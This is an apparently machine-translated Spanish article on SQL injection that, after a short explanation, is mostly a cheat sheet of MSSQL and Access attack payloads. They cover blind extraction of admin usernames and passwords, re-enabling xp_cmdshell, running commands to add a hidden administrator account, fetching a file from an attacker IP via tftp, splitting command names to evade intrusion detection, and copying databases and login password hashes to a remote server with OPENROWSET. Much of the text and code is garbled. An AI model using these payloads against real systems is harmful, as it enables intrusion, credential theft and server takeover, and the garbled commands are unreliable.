Red de conocimiento informático - Conocimiento sistemático - Programación relacionada con la inyección

Programación relacionada con la inyección

Con el desarrollo del desarrollo de aplicaciones en modo B/S, cada vez más programadores utilizan este modo para escribir programas. Sin embargo, debido al nivel desigual de los programadores, una gran parte de las aplicaciones tienen riesgos de seguridad. Los usuarios pueden enviar el código de consulta de la base de datos y obtener ciertos datos que desean conocer en función de los resultados devueltos por el programa. Esta es la llamada inyección SQL, es decir, un ataque de inyección SQL.

Los atacantes de inyección SQL insertan comandos SQL en los campos de entrada de formularios WEB o cadenas de consulta en solicitudes de páginas, induciendo al servidor a ejecutar comandos SQL maliciosos. En algunas formas, la entrada del usuario se utiliza directamente para crear comandos SQL dinámicos o como parámetros de entrada para procedimientos almacenados para obtener contraseñas u otra información que deseen en el servidor. Contenido de configuración del sitio web, etc. Una vez que alguien obtiene o modifica los datos, esa persona puede obtener el control de todo el sitio web. En cuanto a cómo obtener estos datos, a excepción de las contraseñas MSSQL débiles, es probable que el resto aproveche las vulnerabilidades de inyección.

Cuando el usuario envía un parámetro fuera del sitio web, se ingresa en la base de datos para su procesamiento y luego el resultado procesado se envía al usuario. Esta es la página web dinámica más común, pero este parámetro tiene. No se ha filtrado una vez, por lo que lo construimos nosotros mismos. Las declaraciones SQL también pueden participar en las operaciones de la base de datos con parámetros, en cuyo caso se producirán vulnerabilidades de inyección SQL.

En un sitio web que existe en otros lugares, el envío de datos es muy grande. normal. El envío de datos es muy normal. Generalmente se acepta y luego se procesa una solicitud con parámetros, pero involucra una gran parte de las operaciones de la base de datos. Por ejemplo, el siguiente ejemplo

Esta dirección contiene el parámetro 1 y la variable cs que pasa los parámetros, lo que significa que hay un archivo 1.asp en la carpeta y el archivo 1.asp contiene el cs variable, y su función es Aceptar envíos externos con parámetros: 1, o puede ser otra, por lo que también hay una variable cs en el código relevante en el archivo 1.asp, y su función es aceptar envíos externos con parámetros: 1 , O puede ser otro, por lo que también hay una variable cs en el código relevante en el archivo 1.asp, cuya función es aceptar envíos externos con parámetros: 1 u otros. El código relevante en el archivo ASP generalmente es

por ejemplo, el siguiente ejemplo:

............

cs= Solicitud( id)

sqlsever=select * formulario xx donde id=' amp;csamp;'

.............

Utilice la solicitud para leer el contenido de la variable id y luego realice una consulta SQL. La declaración es select * from xx donde id = 1. Esto es más fácil de entender, pero usaré el método de detección de vulnerabilidades de inyección más clásico. , agregando después del parámetro '', la declaración de consulta se convierte en sqlserver=select * from xx donde id = '1'', y si agrega un '' después, hay un problema de cierre. Si no hay filtrado, significa. no hay cierre''.

Usando la contribución de Xiaozhu y 1=1 y 1=2, el principio sigue siendo el mismo

seleccione * de xx donde id = 1 y 1=1

select * from xx donde id = 1 y 1=2

1=1 es verdadero, 1=2 no es verdadero. Entonces los resultados de la consulta son: verdadero y falso El resultado final es incorrecto

Entonces la primera dirección devuelve normal y la segunda dirección anormal, para que se pueda detectar si existe una vulnerabilidad.

Luego está la declaración SQL después del parámetro, como la declaración de actualización:

Actualizar admin set passwd = 'poruin' donde usuario= 'admin'

La declaración de consulta es: seleccione * de xx donde id = 1; y actualice admin set passwd = 'poruin' donde usuario = 'admin'

Esta vulnerabilidad no solo existe en el acceso asp, el servidor asp sql, php mysql, jsp oracle, etc. Todos tienen problemas similares.

La inyección anterior de sentencias SQL y la inyección de DLL en realidad crea un nuevo hilo en el proceso de destino para cargar la DLL y no afecta el archivo DLL real. 1. Determine si hay un punto de inyección

; y 1=1 y 1=2

2. Adivine la tabla Generalmente, el nombre de la tabla no es más que admin. contraseña de contraseña de usuario adminuser, etc..

y 0lt;gt;(select count(*) from *)

and 0lt;gt;(select count(*) from admin) ---- para determinar si hay es administrador de esta tabla

3. Si adivina el número de cuentas y encuentra 0lt; regrese a la página correcta 1lt;; significa que el número de cuentas es 1

y 0lt; (seleccione recuento (*) de administrador)

y 1lt; (seleccione recuento (*) de administrador)

4. () corchetes, agregamos el nombre del campo deseado.

y 1=(seleccione recuento (*) de admin donde len(*)gt;0)--

y 1=(seleccione recuento (*) de administrador donde len( nombre de campo de usuario)gt; 0)

y 1=( seleccione recuento (*) de admin donde len(contraseña)gt; 0)

5. Adivinar la longitud es cuestión de transformar gt;0 hasta que se devuelva la página correcta

y 1=(select count(*) from admin where len(*)gt;0)

y 1=(seleccione recuento (*) de admin donde len(usuario)gt;0)

6.admin donde len(*)gt;0)

y 1= (seleccione recuento (*) de admin donde len(nombre)gt; 6) Error

y 1=(seleccione recuento (*) de administrador donde len(nombre)

y 1 =(seleccione recuento (*) de admin donde len(nombre)gt;5) gt;5) La longitud correcta es 6

y 1=(seleccione recuento (*) de administrador donde len(nombre) = 6) Correcto

y 1=(seleccione recuento (*) de admin donde len(contraseña)gt; 11) Correcto

y 1=(seleccione recuento (*) de administrador donde len(contraseña)gt;12) La longitud incorrecta es 12

y 1=(seleccione count(*) de admin donde len(contraseña)=12) Correcto

y 1= (seleccione recuento (*) de admin donde len(contraseña)=12) correcto

y 1=(seleccione recuento (*) de administrador donde len(contraseña)gt;11) incorrecto correcto

6. Adivina caracteres

y 1=(selecciona recuento (*) del administrador donde queda(nombre, 1)=a) --Adivina el primer dígito de la cuenta de usuario

and 1=(select count(*) from admin where left(name, 2)=ab) --Adivina la segunda cuenta de usuario

Así es como agregas un carácter a la vez, así que adivina , adivine Suficiente para la cantidad de dígitos a la derecha que acaba de adivinar, el número de cuenta se calcula

y 1=(seleccione el 1 recuento superior (*) del Administrador donde Asc(mid(pass, 5, 1 )) = 51) - -

Esta consulta puede adivinar el usuario y la contraseña chinos. Simplemente reemplace el último número con el código ASSIC chino. Finalmente, convierta el resultado a caracteres.

grupo por usuarios con id que tiene 1=1--

grupo por usuarios.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN

(login_id)-<. /p>

(login_id,

y 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--

Determinar la cuenta de la base de datos de conexión. (Regresar con la cuenta SA conexión normal = demuestra que la cuenta de conexión es SA)

y sa=(SELECT System_user)--

y user_name()=dbo--

y 0lt ;gt ;(SELECT user_name()--

Compruebe si xp_cmdshell se ha eliminado

y 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell) --

xp_cmdshell fue eliminado y restaurado.

Soporta recuperación de ruta absoluta

; EXEC master.dbo.sp_addextendedproc xp_cmdshell, xplog70.dll --

; EXEC master.dbo.sp_addextendedproc xp_cmdshell, c.\inetpub\wwwroot og70.dll --

PING inverso en sus propios experimentos

; use master; declare @s int; exec sp_oacreate wscript.shell, @s out; exec sp_oamethod @s, run, NULL, cmd. .exe /c ping 192.168.0.1; --

Agregar cuenta

; DECLARE @shell INT EXEC SP_OACREATEwscript.shell, @shell OUTPUT EXEC SP_OAMETHOD @shell, ejecutar, nulo, C :\WINNT\system32\cmd.exe

/c net user jiaoniang$ 1866574 /add--

Crear un directorio virtual de unidad E:

; @o int exec sp_ oacreatewscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exec:\inetpub\wwwroot\mkwebdir.vbs -w Sitio web predeterminado -v e,e:\--

Propiedades de acceso: (con escribir un webshell)

declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\ wwwroot\ chaccess.vbs -a w3svc/1/ROOT/e Browse

Explosión de bibliotecas Truco especial: :5c=\ o put / and\ Modificar 5 para enviar

and 0lt; gt;(seleccione las 1 rutas principales de la nueva tabla)--

Obtenga el nombre de la biblioteca (de 1 a 5 son identificadores del sistema, 6 o más para juzgar)

y 1=(seleccione nombre de master.dbo.sysdatabases donde dbid=7) --

y 0lt;gt;(seleccione recuento (*) de master.dbo.sysdatabases donde namegt;1 y dbid=6)

Envíe dbid = 7, 8, 9 en orden....Obtenga más nombres de bases de datos

y 0lt;gt;(seleccione el nombre principal

desde bbs.dbo.sysobjects donde xtype=U) Storm a la tabla que se supone es admin

and0lt;gt;(seleccione el nombre superior 1 de bbs.dbo.sysobjects donde xtype=U y el nombre no está en ( Admin)) para obtener tablas adicionales.

y 0lt;gt;(select count(*) from bbs.dbo.sysobjects donde xtype=U y name=admin

and uidgt;(str(id)))Storming a UID asumiendo que el valor es 18779569 uid =id

y 0lt;gt; (seleccione el nombre superior de bbs.dbo.syscolumns donde id=18779569) Obtenga un campo para administrador asumiendo user_id

y 0lt;gt;(seleccione el nombre principal de bbs.dbo.syscolumns donde id=18779569) Obtenga un campo para el administrador asumiendo user_id

y 0lt;gt;(seleccione el nombre principal de bbs. dbo .syscolumns donde id=18779569)dbo.syscolumns donde id=18779569 y el nombre no está en

(id,...)) para eliminar otros campos

y 0lt; seleccione user_id de BBS.dbo.admin donde nombredeusuariogt 1) Puede obtener el nombre de usuario

y luego puede obtener la contraseña.

Supongamos que hay campos de nombre de usuario y contraseña de user_id

y 0lt;gt;(select count(*) from master.dbo.sysdatabases donde namegt;1 and dbid=6)

y 0lt ;gt;(seleccione el 1 nombre principal de bbs.dbo.Obtener nombre de tabla

y 0lt;gt;(seleccione el 1 nombre principal de bbs.dbo.sysobjects donde xtype=U y el nombre no está en (Dirección ) )

y 0lt;gt;(seleccione count(*) de bbs.dbo.sysobjects donde xtype=U y name=admin y uidgt;(str(id))determina el valor de identificación

y 0lt ;gt;(seleccione el nombre superior 1 de BBS.dbo.syscolumns donde id=773577794) todos los campos id=-1 unión seleccione 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12,13,* de admin id=-1 unión seleccione 1,2,3,4,5,6,7,8,*,9,10,11,12,13 de administrador (unión, acceso o no)< / p>

Obtener ruta WEB

; crear tabla [dbo].[swap] ([swappass][char](255) --

y (seleccionar) 1 swappass superior de swap)=1--

; CREATE TABLE newtable(id int IDENTITY(1, 1), paths varchar(500)) Declare @test varchar(20) exec master...xp_regread

@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\,@value_name=/,

values=@testOUTPUT insertar en rutas (ruta ) valores(@test)--

; use ku1;.--

; crear tabla cmd (imagen str) - Crear una tabla cmd de tipo imagen

El proceso de prueba si xp_cmdshell existe:

; exec master..xp_cmdshell dir

; exec master.dbo.xp_cmdshell net administradores de grupo local jiaoniang$/add;--

ejec master.xp_servicecontrol inicio, programar inicio del servicio

exec master.xp_servicecontrol inicio, servidor

DECLARE @shell I;

NT EXEC SP_OACREATE wscript.shell, @shell OUTPUT EXEC SP_OAMETHOD @shell, ejecutar, nulo, C:\WINNT\system32

\cmd.exe /c net user jiaoniang$ 1866574 /add

; DECLARE @shell INT EXEC SP_OACREATE wscript.shell, @shell OUTPUT EXEC SP_OAMETHOD @shell, run, null, C:\WINNT\system32\cmd.exe

/c net administradores de grupo local jiaoniang$/ add

; exec master..xp_cmdshell tftp -i youip get file.exe-- Utilice TFTP para cargar archivos

; Declaración @a sysname set @a=xp_ cmdshell exec @a dir c:\

; declarar @a nombre del sistema @a=xp _cm' 'dshell exec @a dir c:\

; declarar @a=db_name( ); respaldo de la base de datos @a al disco = su IP, su **** disfruta del directorio bak.dat

Si está restringido, entonces sí.

seleccione * de openrowset(sqloledb, server; sa ;, seleccione ¡Aceptar! exec master.dbo.sp_addlogin hax)

Estructura de consulta:

SELECCIONAR * DE noticias DONDE id= ...Y tema=...Y... .

adminand 1=(seleccione recuento (*) de [usuario] donde nombre de usuario=víctima y derecha(izquierda(contraseña de usuario,01),1)=1) y contraseña de usuario lt;gt;

SELECT 123; --

; use master; --

: un nombre como fff -- Muestra un usuario llamado fff.

y 1lt;gt;(seleccione el recuento (correo electrónico) de [usuarios]);--

; actualice [usuarios] establezca el correo electrónico=(seleccione el nombre principal de 1 de los objetos del sistema donde xtype =u y statusgt; 0) donde nombre=ffff; --

; actualizar [usuarios] set email=(seleccione el 1 principal de sysobjects donde xtype=u y nombre=ad) donde nombre=ffff; --

; actualizar [usuarios] set email=(seleccione el 1 nombre principal de sysobjects donde xtype=u e idgt; 581577110) donde nombre=ffff --

; usuarios] configurar correo electrónico = (seleccione el número 1 principal (id) de la contraseña) donde nombre = ffff;--

; actualizar [usuarios] configurar correo electrónico = (seleccione la contraseña 1 principal de la contraseña donde id = 2) donde nombre=ffff;--

; actualizar [usuarios] set email=(seleccione el primer nombre de la contraseña donde id=2) donde nombre=ffffff;--

Lo anterior declaración Obtendrá la primera tabla de usuario en la base de datos y completará el nombre de la tabla en el campo de correo electrónico del usuario fffff.

Al ver el archivo de configuración de usuario de fffff, puede obtener la primera tabla de usuario llamada ad

Luego obtener el ID de la tabla según el nombre de la tabla ad y luego obtener el segunda tabla El nombre de

(0x69) char(0x73), 0xffff)--

insertar en los valores de los usuarios (667, 123.123, 0xffff)--

insertar en los valores de los usuarios (123, admin--, contraseña, 0xffff)--

; y usergt 0

y (seleccione recuento (*) de sysobjects)gt; 0

; y (seleccione count(*) de mysysobjects)gt; 0 //enumere los nombres de las hojas de datos para la base de datos de acceso

; de sysobjects donde xtype= u y statusgt; 0);

Esto es para actualizar el nombre de la primera tabla al campo aaa.

Después de leer la primera tabla, puede leer la segunda tabla así (el nombre de la tabla obtenido después de agregar la condición and namelt;gt;;).

;actualizar aaa set aaa=(seleccione el 1 nombre principal de sysobjects donde xtype=u y statusgt;0 y namelt;gt;vote);--

luego id=1552 y existe( select * from aaa where aaagt; 5)

Lee la segunda tabla una por una hasta que no haya más.

El proceso de lectura del campo es el siguiente: 5) Error, obtener el nombre del campo

[Obtener el nombre de la tabla de datos][Actualizar el valor del campo al nombre de la tabla, y luego lea el valor del campo para Obtener el nombre de la tabla]

Actualizar el nombre de la tabla establecido campo=(seleccione el nombre superior 1 de sysobjects donde xtype=u y statusgt; 0 [y namelt; gt;; obtendrá el nombre de la tabla Marque uno más uno])

[Condiciones] seleccione el nombre principal de sysobjects donde xtype=u y statusgt 0 y el nombre no esté en (tabla1, tabla2...)

Establecido a través de la vulnerabilidad de inyección de SQLSERVER Cuenta de administrador de base de datos y cuenta de administrador del sistema [La cuenta actual debe ser el grupo SYSADMIN]

[Obtener el nombre del campo de la tabla de datos][Actualizar el valor del campo al nombre del campo y luego leer se puede obtener el valor del campo]

Actualice el conjunto de nombres de la tabla field=(seleccione el 1 superior col_name(object_id (nombre de la tabla de datos a consultar), columna de campo, por ejemplo: 1). ) [donde condición]

Omitir la detección de IDS [usar variables]

; declarar @a sysname set @a=xp_ cmdshell exec @a dir c:\

; declare @a sysname set @a =xp _cm' 'dshell exec @a dir c. //p>

; declare @a sysname set @a=xp _cm' 'dshell exec @a dir c. //p>

Habilitar base de datos remota

Sintaxis básica

seleccione * de OPENROWSET(SQLOLEDB, server=servername ; uid=sa; pwd=123, seleccione * de la tabla1)

Parámetros: (1) nombre del proveedor OLEDB

Donde el parámetro de cadena de conexión puede ser cualquier puerto utilizado para la conexión, por ejemplo

seleccione * de OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; Dirección=192.168.0.1, 1433;, seleccione * de la tabla

Insertar todos los remotos tablas de toda la base de datos del host de destino a la tabla local.

Sintaxis básica:

insertar en OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, seleccionar * de la tabla1) seleccionar * de la tabla2

Esta línea de declaración copia todos los datos de la Tabla 2 en el host de destino a la Tabla 1 en la base de datos remota.

En la operación real, la dirección IP y el puerto de la cadena de conexión se modificarán adecuadamente para señalar donde sea necesario, por ejemplo:

insertar en OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN ;Dirección=192.168.0.1,1433;, seleccione * de la tabla1) seleccione * de

tabla2

insertar en OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Red=DBMSSOCN ;Dirección=192.168.0.1, 1433;, seleccione * de _sysdatabases)

seleccione * de master.dbo.sysdatabases

inserte en OPENROWSET(SQLOLEDB, uid=sa; pwd=123 .Network=DBMSSOCN;Address=192.168.0.1,1433;, seleccione * de _sysobjects)

seleccione * de user_database.dbo.sysobjects

inserte en OPENROWSET(SQLOLEDB, uid=sa ;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, seleccione * de _syscolumns)

seleccione * de user_database.dbo.syscolumns

Copiar base de datos:

insertar en OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Red=DBMSSOCN; Dirección=192.168.0.1,1433;.SQLOLEDB, uid=sa; pwd=123; Red=DBMSSOCN; Dirección=192.168 .0.1, 1433;, seleccione * de la tabla1) seleccione * de la base de datos.table1 inserte en OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; Dirección=192.168.0.1, 1433;, seleccione * de la tabla2) seleccione * fromdatabase.table2

Copia el hash de la contraseña de inicio de sesión de la tabla hash (HASH) almacenado en sysxlogins. El método es el siguiente:

insertar en OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; Dirección=192.168.0.1, 1433;, seleccionar * de _sysxlogins) seleccionar

* de base de datos.dbo.sysxlogins

Una vez que tengas el hash, puedes aplicar fuerza bruta.

Recorre el directorio: primero crea una tabla temporal: temp

; crea la tabla temp(id nvarchar(255), num1 nvarchar(255), num2 nvarchar(255), num3 nvarchar. ( 255)); --

; insertar temp exec master.dbo.xp_availablemedia; -- Obtener todas las unidades actuales

; insertar en temp(id) exec master.dbo.xp_subdirs c:\; - - Obtener la lista de subdirectorios

; insertar en temp(id, num1) exec master.dbo.xp_dirtree c:\;--